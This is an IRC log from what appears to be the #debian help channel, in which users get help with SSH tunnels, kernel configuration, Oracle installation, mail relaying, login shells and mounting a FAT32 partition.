| 22:47.52 | Slippy^_ | tosh: as the man page says you can do it like: ssh -N -f -g -L [bind_address:]sport:www.url.com:dport user@server.com you'll be making a tunnel with ssh |
| 22:47.59 | abrotman | Assid: forgot to compile something in .. didn't you :) |
| 22:48.06 | abrotman | liable: HURD! |
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| 22:48.25 | FarrisG | How do I keep fbcon from loading at boot time? |
| 22:48.26 | abrotman | liable: really . i dont' know . .but sounds plausible |
| 22:48.34 | sun_ | hi anyone know if there/s a violin/cello tuning program in debian (using mic input to show your string's frq) |
| 22:48.34 | Assid | i think so |
| 22:48.42 | abrotman | sun_: yes |
| 22:48.44 | dmirc | abrotman: none on standard out put, which logfile should i check |
| 22:48.49 | tosh | Slippy^_ I know how to make a connection with a tunnel, but no where in that command is specified on which interface the sport will be opened. I have multiple interfaces on this machine |
| 22:48.49 | liable | abrotman: oh, ok, thanks. |
| 22:48.55 | abrotman | dmirc: messages or syslog probably |
| 22:48.58 | sun_ | abrotman what is it called? |
| 22:49.03 | abrotman | sun_: checking |
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| 22:49.11 | abrotman | !info gtkguitune |
| 22:49.14 | dpkg | gtkguitune: (Guitar and other instruments tuner), section x11, is optional. Version: 0.7-4 (sid), Packaged size: 51 kB, Installed size: 158 kB |
| 22:49.15 | abrotman | sun_: ^^ |
| 22:49.35 | abrotman | sun_: though . it may generate tones ... i've never used it |
| 22:49.38 | Slippy^_ | tosh: you do it with the -b or [bind_address:]:... command as I showed you |
| 22:50.03 | sun_ | abrotman thanks a lot |
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| 22:50.17 | tosh | the -b command only works for the session connection, it specified which interface to bind the outgoing connection to, not the tunnel |
| 22:51.00 | abrotman | sun_: only one i see that's in debian . i know there are others |
| 22:51.16 | Assid | abrotman: any clue whats the drivers for IDE interface: Silicon Integrated Systems [SiS] RAID bus controller 180 SATA/PATA [SiS] (rev 01) |
| 22:51.26 | lars^ | Which software should i use if i want to create a software wireless access pointer? |
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| 22:51.42 | abrotman | Assid: not a wit ... |
| 22:51.58 | abrotman | Assid: i don't think sis makes that many drive controlelrs though |
| 22:52.25 | abrotman | apt-listbugs is a pain :) |
| 22:52.25 | RichardC | where does synaptic store the packages it downloads? |
| 22:52.34 | dmirc | abrotman: nothing in /var/log/syslog, when i attempt to log in there is just a long pause on the tty, when i try su - dm as root there is a long pause then an exit without any messages |
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| 22:52.54 | Assid | abrotman: what about SATA? what should i be using? |
| 22:53.44 | abrotman | Assid: are you sure you want to be compiling your own kernels ? |
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| 22:54.01 | Assid | yep |
| 22:54.02 | jcarr | hello folks.. jcarr here. Has anyone here ever install Oracle 10g on Debian? |
| 22:54.06 | abrotman | dmirc: if you create a totally new user .. does that work ? |
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| 22:54.11 | abrotman | jcarr: why? |
| 22:54.19 | abrotman | jcarr: iv'e done 9i many times |
| 22:54.27 | jcarr | abrotman, trying to install it... I have to fake my OS as Red Hat for the installer to run :( |
| 22:54.33 | abrotman | jcarr: yes you do |
| 22:54.35 | jcarr | and it errors out 70% through |
| 22:54.37 | jcarr | :( |
| 22:54.42 | abrotman | jcarr: do you have the error ? |
| 22:55.07 | abrotman | jcarr: i can find you some instructions for 9i .. and you can check to see if the same issues might apply |
| 22:55.11 | jcarr | yeah... not the exact error number and all ( i just got home) but it had to do with being unable to amek a database connection |
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| 22:55.18 | jcarr | *make a database connection |
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| 22:55.23 | jcarr | it was during the configuration stage |
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| 22:55.48 | Arafangion | How do I run more than 256 threads at a time? |
| 22:55.57 | Arafangion | It seems I can only run 255 :/ |
| 22:55.59 | abrotman | ulimit ? |
| 22:56.05 | Arafangion | abrotman: Unlimited |
| 22:56.17 | dmirc | abrotman: yes i just created a user called guess and can both su and log into the user from the tty |
| 22:56.23 | jcarr | I got an entry level job doing J2EE with Oracle stuff that I start in about a month, figured I'd download Oracle and learn the shit out of it |
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| 22:56.51 | jcarr | since so far I've been working with crap databases like mysql |
| 22:56.52 | Arafangion | jcarr: Good idea. Might also like to purchase a book. |
| 22:56.56 | jcarr | I did |
| 22:57.01 | jcarr | O'Reilly JBDC and Oracle |
| 22:57.08 | kryptech | yea, totem works again |
| 22:57.08 | jcarr | (or Oracle and JBDC) |
| 22:57.18 | abrotman | jcarr: http://www.debianhelp.org/modules.php?op=modload&name=phpBB_14&file=index&action=viewtopic&topic=4853&19990 |
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| 22:57.21 | tosh | no ssh experts in the room? |
| 22:57.27 | Arafangion | abrotman: That for me? |
| 22:57.31 | DoppelGanger | openssh.com |
| 22:57.33 | abrotman | jcarr: but that was stuff for 9i |
| 22:57.35 | kryptech | getting things fixed is one of the greatest feelings in the world |
| 22:57.35 | abrotman | Arafangion: no |
| 22:57.41 | jcarr | http://www.debianhelp.org/modules.php?op=modload&name=phpBB_14&file=index&action=viewtopic&topic=4853&19990 |
| 22:57.42 | jcarr | oops |
| 22:57.49 | abrotman | bad jcarr ! |
| 22:58.02 | abrotman | jcarr: to be more precise .. that was 9i on woody |
| 22:58.20 | jcarr | abrotman, yeah, i found one on 10g on Debian last night that I followed |
| 22:58.33 | abrotman | Arafangion: -a ? |
| 22:58.37 | jcarr | but, uh... I am on Ubuntu (i figured they'd be close enough) |
| 22:58.44 | abrotman | uh .. |
| 22:58.46 | abrotman | no |
| 22:59.04 | jcarr | I know, I aint crazy about it either :) |
| 22:59.17 | jcarr | it's just on my laptop.. .I have Debian on my desktop pc |
| 22:59.26 | abrotman | $ cat /proc/sys/kernel/threads-max |
| 22:59.26 | abrotman | 12143 |
| 22:59.26 | roler | i'm trying to use clamav and clamav-milter to scan my emails but am getting a weird error... it says it doesn't agree with sendmail.cf... |
| 22:59.28 | abrotman | Arafangion: ^^ |
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| 22:59.54 | abrotman | DoppelGanger: i didn't set it .. apparently the default |
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| 23:00.02 | PerfDave | Oh god, have we got more ubuntoobies asking questions about #debian? :) |
| 23:00.04 | Arafangion | abrotman: Everything of interest is unlimited |
| 23:00.10 | DoppelGanger | wha |
| 23:00.11 | abrotman | dmirc: what kind of login ? |
| 23:00.25 | maria | HOLA, HAY ALGUIEN POR AQUI QUE HABLE EN ESPAÑOL?????????? |
| 23:00.26 | Arafangion | abrotman: Actually my stack size could be limiting it... |
| 23:00.30 | abrotman | !es |
| 23:00.31 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 23:00.32 | Arafangion | abrotman: Could that be it? |
| 23:00.41 | DoppelGanger | nice caps |
| 23:00.44 | medvidek | !cz |
| 23:00.44 | abrotman | Arafangion: that's a personal problem .. could we not discuss it :) |
| 23:00.44 | dpkg | i heard cz is Czech Republic. Kanal pro cechy je #debian-cz |
| 23:00.45 | maria | SOY DE VENEZUELA¡¡ |
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| 23:00.51 | abrotman | !es |
| 23:00.51 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 23:01.02 | jcarr | abrotman, that link you gave me has a lot of stuff that the one I followed didn't |
| 23:01.03 | dmirc | abrotman: ? i have tried from the tty and via su - dm and get nothing on dm but guest and dmirc work fine |
| 23:01.10 | abrotman | jcarr: huh ? |
| 23:01.15 | abrotman | dmirc: i meant x or console |
| 23:01.32 | dmirc | abrotman: oh, sorry, console |
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| 23:01.50 | abrotman | dmirc: the permissions are correct ? |
| 23:01.50 | jcarr | abrotman, I still cannot believe oracle had a free download... I always avoided it cuz I assumed it cost lots of $$ and there was no free version |
| 23:02.05 | abrotman | jcarr: it's free .. as long as you don't use it for anything :) |
| 23:02.12 | lars^ | Which software should i use if i want to create a software wireless access pointer? |
| 23:02.32 | maria | PLEASE, SOS |
| 23:02.37 | jcarr | SOS? |
| 23:02.40 | abrotman | maria: /j #debian-es |
| 23:02.41 | dmirc | abrotman: of the dir, i think so, i have ran chown -R dm:dm /home/dm and chmod -R u+rw /home/dm |
| 23:03.00 | jcarr | heh, she comes on irc sending out an SOS for help |
| 23:03.01 | abrotman | dmirc: no +x ? |
| 23:03.25 | abrotman | dmirc: my home dir is 755 |
| 23:03.25 | dmirc | no plus x i will give that a try |
| 23:03.43 | jcarr | reminds me of the guy who joined #linux on undernet and started repeating his problem, all in caps, asking for someone to message him to help him... he did this 5 times real fast till he was banend :) |
| 23:03.43 | FarrisG | How can I stop the fbcon module from loading at boot time? |
| 23:03.48 | jcarr | *banned |
| 23:03.48 | abrotman | blacklist it |
| 23:03.56 | gil_ | can I set up dual monitors on a generoc xfree server? |
| 23:03.59 | Arafangion | abrotman: Indeed, it was the problem, turns out it's a fairly significant trade-off. |
| 23:04.01 | gil_ | *gegneric |
| 23:04.06 | abrotman | Arafangion: your stack ? |
| 23:04.11 | abrotman | gil_: generic ? |
| 23:04.13 | maria | HELP, PLEASE |
| 23:04.21 | jcarr | maria, #debian-es |
| 23:04.24 | abrotman | maria: /join #debian-es |
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| 23:04.38 | Assid | abrotman: i tried with the image earlier.. and that didnt help |
| 23:04.44 | Assid | one of the prime reasons why i am doing it manually |
| 23:04.46 | abrotman | Assid: ? |
| 23:05.01 | Assid | the 2.6 kernel update |
| 23:05.12 | abrotman | maria: vamos a #debian-es |
| 23:05.15 | gil_ | abrotman: I'm on ati radeon card, and I'm running xserver-xfree |
| 23:05.17 | Arafangion | abrotman: Yeah, the stack. |
| 23:05.22 | abrotman | my spanish sucks :) |
| 23:05.25 | Arafangion | abrotman: Turns out you can't swap threads. |
| 23:05.38 | abrotman | Arafangion: you mean to ram/swap ? |
| 23:05.43 | Arafangion | abrotman: Yeah. |
| 23:05.51 | honschu | I'm searching for a description how to deliever mail from lan over a server to multiple smtps based on the Re-Adress by smtp-auth. |
| 23:05.56 | abrotman | gil_: i'm not sure if xinerama supports vesa driver |
| 23:06.17 | Arafangion | abrotman: Because the default is 8192, as I reduce teh stack size, I can increase the number of threads. |
| 23:06.25 | kuroaisu | honschu: I'm looking for info on smoething simmilar, are you using postfix or exim4? |
| 23:06.45 | honschu | kuroaisu: Doesn't matter, I would use anything. |
| 23:06.59 | dmirc | abrotman: no change when running chmod -R 755 /home/dm |
| 23:07.15 | abrotman | dmirc: you did the whole dir ? |
| 23:07.35 | Assid | abrotman: i dont know if i am missing anything .. according to this i am not |
| 23:07.42 | kuroaisu | honschu: so, yuo want teh smtp server to relay mail destined for "domain1.com" to "mail.domain1.com" and mail for domain2.com to mail.domain2.com? |
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| 23:08.00 | dmirc | abrotman: yes |
| 23:08.10 | dmirc | i should undo that should i |
| 23:08.17 | abrotman | dmirc: i wouldn't bother .. |
| 23:08.21 | abrotman | you gotta figure out how to login first |
| 23:08.21 | kuroaisu | (and I'm assuming without dns mx records to back that up.. since ythe machine you are configuring would need to be the primary MX for both example domains |
| 23:08.23 | qpee | hi, what is the PATTERN i should use with the tool tar? in the manual it just says use -X for exclusion but not what the pattern should look like. is in regexp or what? |
| 23:08.31 | tarvok | I don't suppose Jimmy-HPC_ is still here... |
| 23:08.46 | abrotman | doesn't seem that way |
| 23:08.48 | dmirc | abrotman: changed my login shell in /etc/passwd to zsh which is what i was using in gentoo and now i can log in |
| 23:08.57 | abrotman | dmirc: really? |
| 23:08.59 | dmirc | abrotman: it must be something old in my bashrc file |
| 23:09.02 | abrotman | dmirc: that's just freaking odd ... |
| 23:09.15 | honschu | kuroaisu: No, if my mum mails - the mail should be delievered to the dsl-router where a program know if my mum mails it should deliever the mail to a according smtp-host (with smtp-auth) |
| 23:09.18 | abrotman | dmirc: you could copy the skel ones into your dir .. and try that |
| 23:09.35 | abrotman | err and try bash |
| 23:09.43 | kuroaisu | honschu: I don't think I'm following you |
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| 23:09.58 | roler | has anyone setup clamav-milter in debian? |
| 23:10.03 | honschu | kuroaisu: I have lan with a dsl-router (a Computer) |
| 23:10.04 | dmirc | abrotman: i just the looked at the bash files and there is only this export GTK2_RC_FILES=$HOME/.gtkrc-2.0 |
| 23:10.05 | tarvok | So here I am at a kernel configuration menu, and my help is gone. I wonder if its possible for someone else to pick up where he left off. |
| 23:10.08 | jcarr | trurn turn turn |
| 23:10.15 | jcarr | HAHAHHA |
| 23:10.20 | honschu | kuroaisu: In the lan are different computers with different users. |
| 23:10.21 | jcarr | yeah turn turn turn |
| 23:10.29 | dmirc | abrotman: thanks for your help i will investigate the skel files later |
| 23:10.33 | gil_ | is xfree4.5 stable? |
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| 23:10.40 | honschu | kuroaisu: Every mailprogram delievers mail to the dsl-router. |
| 23:10.42 | abrotman | dmirc: try copying the ones from /etc/skel |
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| 23:10.48 | kuroaisu | honschu:and you want the router to be a smarthost? |
| 23:10.50 | abrotman | gil_: debian is moving to xorg |
| 23:10.58 | honschu | kuroaisu: for the lan-users (yes) |
| 23:11.05 | medvidek | !us |
| 23:11.05 | dpkg | us is probably United States (of America), or the first-person plural object pronoun |
| 23:11.06 | jcarr | abrotman, does it break thinks if user oracle has a password set |
| 23:11.07 | jcarr | ? |
| 23:11.25 | gil_ | abrotman: ok thanks |
| 23:11.26 | kuroaisu | with postfix, you'd just need to set "relayhost = [isps.smtp.server]" |
| 23:11.26 | abrotman | jcarr: not for me it didn't |
| 23:11.31 | Assid | abrotman: i really would appreciate any help you can give me on this |
| 23:11.37 | abrotman | Assid: it still sin't working ? |
| 23:11.38 | kuroaisu | if your isp allows smart relaying.. |
| 23:11.39 | honschu | kuroaisu: this smarthost then sends the mail according to the re-adress to the "real" smarthost |
| 23:11.40 | Assid | nope |
| 23:11.52 | dmirc | i copied the skel files and they work |
| 23:11.54 | Assid | i have ebverything i can find |
| 23:11.55 | abrotman | Assid: you're compiling in .. right . not trying to use modules .. right ? |
| 23:11.58 | tarvok | Hmm... there is a menu item here called "Sound." Seems to have something to do with what I'm doing here... |
| 23:12.03 | kuroaisu | honschu: I'm not sure I know what you mean by "re-address" |
| 23:12.04 | Assid | abrotman: yes |
| 23:12.11 | Assid | and i make install'd again |
| 23:12.12 | reind | Anyone using packaged php5 and php5-pear on apache2? I've been using deb http://people.debian.org/~dexter but dexter's repo's missing php5-xml and php5-pear which i need. I tried dotdeb but they only have apache2 debs. Any suggestions? |
| 23:12.14 | dmirc | abrotman: the debain skel files work, it was something with the bash files that gentoo put there |
| 23:12.20 | reind | .. err apache 1 debs on dotdeb |
| 23:12.21 | kuroaisu | honschu: From: and To: stay the same... |
| 23:12.21 | honschu | kuroaisu: the mailadress of my mum |
| 23:12.31 | honschu | kuroaisu: the From: - Adress (sorry) |
| 23:12.46 | kuroaisu | honschu: that has nothing to do with your dsl-router/smarthost... |
| 23:12.47 | abrotman | dmirc: gentoo crap! :) |
| 23:12.59 | abrotman | reind: php5 isn not in debian |
| 23:13.02 | honschu | kuroaisu: I found a how to for NetBSD's postfix but with a Mail-relay. |
| 23:13.06 | kuroaisu | the fact that it's send from your mum's email client, with her settings, is what makes the "From:" |
| 23:13.09 | honschu | kuroaisu: why? |
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| 23:13.22 | dmirc | aborman: i know i am glad to be away from that mess |
| 23:13.26 | reind | abrotman yeah but a few ppl have packaged it and stuck it on public repos, i just figured someone might have have some insight |
| 23:13.32 | abrotman | dmirc: you didn't like it ? |
| 23:13.33 | kuroaisu | the From: header is inserted by the sending smtp client... |
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| 23:13.45 | gil_ | xorg isn't stable yet? |
| 23:13.47 | kuroaisu | oterh headers are inserted along the way.. |
| 23:13.51 | abrotman | gil_: no .. nor will it be |
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| 23:13.57 | tarvok | I'm here at a kernel configuration menu, people. Help me not break my computer. (I was in the middle of being guided in getting an old ISA Soundblaster 64 working). |
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| 23:14.12 | Assid | abrotman: i think its this one: IDE interface: Silicon Integrated Systems [SiS] RAID bus controller 180 SATA/PATA [SiS] |
| 23:14.17 | Assid | but i cant find anything pertaining to that |
| 23:14.22 | abrotman | Assid: uhm ... |
| 23:14.25 | gil_ | abrotman: how about xfree4.5 - it supports my card |
| 23:14.26 | Karnaugh | SB 64 dont come in an ISA |
| 23:14.31 | Karnaugh | afaik |
| 23:14.33 | mdh | tarvok: quit the menu program now. in fact, never run it again. |
| 23:14.36 | Karnaugh | but anyway |
| 23:14.38 | kuroaisu | and if you have a remote relay.. like me@somewhere.com->me@yahoo.ca then the To header may get changed alnog the way at teh relaying mailhost.. |
| 23:14.44 | abrotman | Assid: is it sata or pata ? |
| 23:14.53 | abrotman | CONFIG_SCSI_SATA_SIS=m |
| 23:14.53 | abrotman | CONFIG_SIS900=m |
| 23:14.59 | abrotman | at least in my config |
| 23:15.00 | FarrisG | How do I even figure out what is loading fbcon? |
| 23:15.01 | gil_ | Karnaugh: I had an AWE64 ISA (if I remember correct) |
| 23:15.05 | tarvok | Karnaugh: The ISA SB 64 sitting in my computer says differently. |
| 23:15.08 | kuroaisu | honschu: but the From: (and thus the "Reply-Path:" stays the same.. (maybe that's "Return-Path:" |
| 23:15.15 | Assid | i think sata.. coz it started giving me hde instead of a/b/c/d |
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| 23:15.32 | mdh | FarrisG: the kernel does, on boot, if you've told it to |
| 23:15.39 | dmirc | abrotman: no, the intergration of packages was not up to par with debian which i could understand but there was no benifit |
| 23:15.44 | honschu | kuroaisu: Yes, they stay the same. |
| 23:15.52 | Karnaugh | uhm, slightly off topic - anyone know how to force irssi to bind a specific IP ? |
| 23:16.03 | Assid | abrotman: i have them =y |
| 23:16.06 | abrotman | dmirc: you're not the first :) |
| 23:16.09 | tarvok | mdh: Is this because its too powerful for a newb like me to handle, or because you have a knee-jerk preference for command line over menus, or because there are really really evil bugs in the menu program? |
| 23:16.17 | abrotman | Assid: hrm .. i have no idea then .. this is why i don't compile kernels :) |
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| 23:16.32 | abrotman | Assid: maybe try ... #kernel ? |
| 23:16.36 | dmirc | abortman: especially since there package quality is still low, i had to deal with things not compiling and improper dependancies |
| 23:16.38 | abrotman | dpkg: wb |
| 23:16.38 | dpkg | thanks, abrotman. It's good to be back. |
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| 23:16.57 | abrotman | dmirc: you should write a document about why gentoo isn't for everyone :) |
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| 23:17.03 | FarrisG | mdh: "I" haven't told it to, but do stock debian kernel images? |
| 23:17.42 | jarao123 | when i run dhclient it says 'dhcpdiscover on eth0 to 255.255.255.255' how can i change that ip address? |
| 23:18.12 | dmirc | abrotman: i think i might |
| 23:18.23 | terrex | jarao123: which ip, 255.255.255.255 ??? |
| 23:18.29 | Exit83 | i did a netboot today, and once the base was installed i did apt-get install xfree86-common xfree86-server xwindow-system-core gnome-core which always workde perfectly so far but this time everytime i boot i seem to need to login in the CLI and then type startx to be in GUI. What went wrong and what is the solution to it??? |
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| 23:18.34 | jarao123 | yes |
| 23:18.34 | abrotman | dpkg: are you sick ? |
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| 23:18.50 | mdh | tarvok: I was just being funny. you wanted to not break your computer. |
| 23:18.58 | jcarr | abrotman, I decided to keep an eye on the terminal during this installation of Oracle, and this error pops up a couple times "rpm: To install rpm packages on Debian systems, use alien. See README.Debian. error: cannot open Packages index using db3 - No such file or directory (2)" |
| 23:19.05 | jcarr | I assume it can be safely ignored? |
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| 23:19.25 | mdh | tarvok: basically if you're not confident in knowing what you're doing when configuring your kernel, chances are you *will* break your computer |
| 23:19.27 | abrotman | jcarr: doubtful .. you may have to isntall rpm |
| 23:19.39 | jcarr | I did |
| 23:19.40 | tarvok | mdh: lol. Okay. It's a shame I had to get called away when I did. Jimmy-HPC_ was helping me get my card working, then I had to leave in the middle of it. |
| 23:19.44 | jess_ | not if you have a backup kernel |
| 23:19.48 | terrex | jarao123: this ip is for the broadcast, i think it's not changeable |
| 23:19.52 | dmirc | abrotman: i am going to go now the yankess game is on, thankyou for your help |
| 23:20.00 | abrotman | dmirc: oh .. i'm sorry i helped you :) |
| 23:20.05 | abrotman | go sox :) |
| 23:20.27 | Exit83 | <PROTECTED> |
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| 23:20.58 | RabidDog | apt-get install gdm?> |
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| 23:20.59 | RabidDog | ? |
| 23:21.13 | jess_ | kdm! |
| 23:21.15 | jess_ | :P |
| 23:21.16 | znx | \? |
| 23:21.19 | Exit83 | xdm is installed by default if im not mistaken |
| 23:21.27 | Exit83 | allthough i will give it a try |
| 23:21.49 | tosh | when using ftp, if a file is uploaded, the file is created but the filesize is 0, that means just the dataconnection failed? |
| 23:21.52 | jcarr | I like gdm the best |
| 23:21.54 | billions | try configuring your xsession file |
| 23:21.59 | jcarr | unless kdm has improved recently |
| 23:22.01 | tarvok | Well, I'm sad. No ISA SB64 for me today, it looks like. |
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| 23:22.06 | mdh | tosh: or the fs is full |
| 23:22.09 | Exit83 | billions: how and where? |
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| 23:22.23 | billions | should be somewhere around ~/.xesssion |
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| 23:22.44 | pinko | hello, is openoffice.org2 reachable through debian? |
| 23:23.03 | h2k | how to downgrade from sid's kde to sarge's? |
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| 23:23.30 | dwerf | hello people |
| 23:23.31 | tarvok | pinko: I've read that openoffice.org2 uses java for a significant number of features, and thus it does not meet debian's standards. |
| 23:23.31 | billions | Exit83: then you'll want to pico it and set it to "exec gnome" |
| 23:23.50 | cire | I have a laptop with no acpi support, so I compiled apm support into the kernel. Everytime I close it, the system shuts off. (not sure whether this is a sleep or off-state). How may I avoid this behaviour? I just want it to do nothing when closing it. Is this a bios or OS thing? |
| 23:23.53 | Exit83 | instaling gdm seemed to solve it :d |
| 23:24.00 | billions | sweetness |
| 23:24.13 | dwerf | if i use synaptic to install a package, why don't they end up in my menu's? |
| 23:24.14 | Exit83 | still thx for the help billions and thx RabidDog |
| 23:24.28 | dwerf | i know it's a silly question |
| 23:24.32 | billions | bahahah np np exit |
| 23:24.33 | dwerf | just a beginner |
| 23:24.41 | Exit83 | there are n,o silly questions dwerf |
| 23:24.42 | billions | go for it dwerf |
| 23:24.46 | billions | hahaha yeah |
| 23:24.55 | dwerf | wanna get rid of windows |
| 23:24.57 | grendal_prime | derf, mine appear in the menu.. |
| 23:25.00 | Exit83 | only silly questions |
| 23:25.09 | grendal_prime | sometimes you need to logout and back in...sometimes that is |
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| 23:25.16 | dwerf | ok |
| 23:25.16 | Exit83 | doh |
| 23:25.20 | Exit83 | i meant answers |
| 23:25.23 | Exit83 | silly answers |
| 23:25.45 | abrotman | dpkg: you're back! |
| 23:25.45 | dpkg | No abrotman, I'm not really here |
| 23:25.49 | pinko | tarvok: I actually see it here... http://http.us.debian.org/debian/pool/main/o/openoffice.org2/ |
| 23:26.14 | daveb | ssh-agent is not asking me for the passphrase when I login to gdm. It looks likes its setup to run in Xsession.options and ssh-agent is running according to ps. any ideas? |
| 23:26.18 | cire | sorry for reasking, perhaps you know the answer or a good source to get it: without acpi, is the "shut my laptop" event (shutting down the machine at the moment) controlled by bios or OS? |
| 23:26.28 | pinko | but it's not in any of my package lists from that site. |
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| 23:26.47 | abrotman | cire: both |
| 23:26.48 | abrotman | !acpi |
| 23:26.49 | dpkg | well, acpi is Advanced Configuration and Power Interface -- a power management interface that gives more control to the BIOS, or horribly horribly broken. for suspend software check http://sourceforge.net/projects/swsusp/ , or "run this arbitrary code in ring 0", or http://acpi.sf.net/ |
| 23:26.50 | abrotman | !apm |
| 23:26.50 | dpkg | rumour has it, apm is Advanced Power Management. http://en.wikipedia.org/wiki/Advanced_Power_Management |
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| 23:27.22 | NOangy17EL | ehy i've tried wta have u tell me... i can't read other partition... i've use command /dev/hda1/ mount/point vfat defa..... |
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| 23:27.31 | abrotman | !u |
| 23:27.31 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 23:27.33 | NOangy17EL | pls hlp me |
| 23:27.35 | drew | well I attempted using a static ip address to no avail. |
| 23:27.41 | abrotman | drew: nothing ? |
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| 23:27.47 | drew | abrotman, nope :( |
| 23:28.03 | drew | hm.. lemme try it one more way |
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| 23:28.07 | drew | just a sec |
| 23:28.41 | abrotman | drew: you might want to see if #wireless has any idea |
| 23:28.47 | NOangy17EL | how can i read other HD on my debian!!!! |
| 23:28.55 | billions | -.- |
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| 23:29.15 | cire | My point was, either the bios does something without caring for the OS, or the OS is possible to tell the bios what to do... So this is a bios OR OS question. (this all without acpi support). err... I didn't get it, right? |
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| 23:29.45 | NOangy17EL | i've 2 hd on my PC but i can read only one... i can't read other hd (FAT32) can u help me |
| 23:29.49 | abrotman | !u |
| 23:29.50 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 23:29.55 | abrotman | NOangy17EL: this is on debian ? |
| 23:29.59 | NOangy17EL | yeah |
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| 23:30.29 | NOangy17EL | i've tried to do /dev/hda1/ mount/point vfat defaults |
| 23:30.32 | NOangy17EL | but nothin happen |
| 23:31.26 | drew | abrotman, ok i'll try #wireless didn'tknow it existed heh |
| 23:31.27 | drew | thanks |
| 23:31.28 | abrotman | how about .. you give us the ACTUAL COMMAND you used |
| 23:31.34 | abrotman | drew: which chipset is it ? |
| 23:31.53 | drew | prism2 |
| 23:31.57 | NOangy17EL | bcs maybe somethin it's wrong in it |
| 23:31.59 | NOangy17EL | im new on debian |
| 23:32.01 | Exit83 | prism2? |
| 23:32.02 | jess_ | mount /dev/hda1 /mnt/mountpointname |
| 23:32.05 | RProgrammer | madwifi is for WG511T not WG511 |
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| 23:32.07 | Exit83 | never knew that existed :$ |
| 23:32.11 | jess_ | should detect it |
| 23:32.17 | abrotman | drew: prism54.org ? |
| 23:32.21 | drew | yeh linux-wlan-ng supports it |
| 23:32.25 | NOangy17EL | jess nothin happen |
| 23:32.31 | NOangy17EL | i've did it too |
| 23:32.31 | jess_ | what does it say? |
| 23:32.44 | NOangy17EL | nothin.. |
| 23:32.47 | drew | er my bad, its the prism chipset, w54g has prism2 |
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| 23:32.49 | zone17 | Hi, I have just gotten a Nokia c020 wlan card for my laptop, and I am trying to make it work. I have downloaded the driver linux-wlan.ng, what else do I need? I can't find any usefull information. |
| 23:32.51 | abrotman | NOangy17EL: give us the ACTUAL command you typed in |
| 23:32.51 | NOangy17EL | it give me anothe strin |
| 23:33.02 | drew | it's a dwl-122 |
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| 23:33.20 | abrotman | mount /dev/hda1 /mnt/crapOS -t vfat |
| 23:33.26 | abrotman | or whatever |
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| 23:33.40 | NOangy17EL | mount -t vfat /dev/hda1/ mnt/point |
| 23:33.47 | abrotman | it hsould be /mnt/point |
| 23:33.51 | NOangy17EL | mount /dev/hda1/ mnt/point |
| 23:33.58 | abrotman | -t auto ? |
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| 23:34.09 | NOangy17EL | i've tried in both modes |
| 23:34.10 | jess_ | no / after hda1 |
| 23:34.14 | Exit83 | if its fat32 linux should detect it automatically |
| 23:34.23 | NOangy17EL | tell me a thing i m not sure.. is it hda1? |
| 23:34.30 | Exit83 | depends |
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| 23:34.37 | Exit83 | is it slave HDD? |
| 23:34.40 | NOangy17EL | exit i use gnome environment |
| 23:34.48 | NOangy17EL | it's not appear in "COMPUTER" |
| 23:34.51 | Exit83 | or HDD on other IDE channel |
| 23:34.54 | NOangy17EL | not it's in master |
| 23:34.56 | NOangy17EL | primary master |
| 23:35.00 | abrotman | !it |
| 23:35.01 | dpkg | from memory, italian is per aiuto in lingua italiana: /j #debian-it , (anche /j #linux-it ). Otterrete sicuramente piu' aiuto li', bischeri! For help in italian /j #debian-it or /j #linux-it |
| 23:35.06 | Exit83 | then it should be hda1 yes |
| 23:35.29 | Exit83 | normally :) |
| 23:35.41 | NOangy17EL | primary master---> WinME primary slave----->debian |
| 23:35.51 | billions | booooooo |
| 23:35.59 | Exit83 | winMe ??? |
| 23:36.00 | Exit83 | omg |
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| 23:36.10 | NOangy17EL | yeah |
| 23:36.11 | Exit83 | thats the worst of the windows version that exist |
| 23:36.18 | NOangy17EL | all people say this |
| 23:36.22 | NOangy17EL | for me it's the best |
| 23:36.24 | Exit83 | because its true :d |
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| 23:36.32 | billions | yeah it's teh sux |
| 23:36.33 | dondelelcaro | who cares? Windows is OT here. |
| 23:36.37 | Exit83 | it has the most flaws in it |
| 23:36.37 | NOangy17EL | it's my favourite |
| 23:36.44 | Exit83 | anyway |
| 23:36.53 | Exit83 | Windows sucks :d |
| 23:36.54 | mdh | dondelelcaro: but version 6.8.2 was recently put into sid! |
| 23:36.57 | NOangy17EL | yeah |
| 23:36.58 | NOangy17EL | :D |
| 23:37.03 | jess_ | winblows out of my arse |
| 23:37.18 | billions | windows is not only sucky, it's politically unfavorable |
| 23:37.20 | Flimzy | Can anyone tell me how to get the VIA Velocity gigabit ethernet card to show up in make menuconfig? It seems I can add it manually (CONFIG_VIA_VELOCITY=y) in the .config, but then when I run menuconfig again, it removes it. |
| 23:37.22 | Exit83 | winDblows out of my arse 2 :d |
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| 23:37.28 | NOangy17EL | so what can i do for read this fuckin HD |
| 23:37.34 | billions | delete windows |
| 23:37.36 | abrotman | Flimzy: enable the crashy/incomplete drivers |
| 23:37.37 | dondelelcaro | Exit83, billions, NOangy17EL: take the windows stuff elsewhere, please. |
| 23:37.43 | billions | wtf |
| 23:37.43 | liable | dondelelcaro: do you know why the newer kernels in sid are called linux-image-blah? |
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| 23:37.47 | billions | we're in #debian |
| 23:37.52 | Exit83 | normally i should check dmesg first to see of both your HDD are recognized |
| 23:37.53 | dwerf | windows contributes to global corporate dominance like no other company ever before |
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| 23:38.09 | mdh | liable: maybe someone on debian gnu/freebsd whined? |
| 23:38.09 | dondelelcaro | liable: yes, because eventually there will be other kernels that aren't linux kernels. |
| 23:38.16 | abrotman | liable: i won! |
| 23:38.17 | PerfDave | liable: So non-linux kernels can be packaged alongside ;) |
| 23:38.25 | liable | ok, cheers |
| 23:38.29 | NOangy17EL | so anyone can help me?:| |
| 23:38.30 | liable | abrotman: hehe, :) |
| 23:38.39 | abrotman | !it |
| 23:38.40 | dpkg | italian is, like, per aiuto in lingua italiana: /j #debian-it , (anche /j #linux-it ). Otterrete sicuramente piu' aiuto li', bischeri! For help in italian /j #debian-it or /j #linux-it |
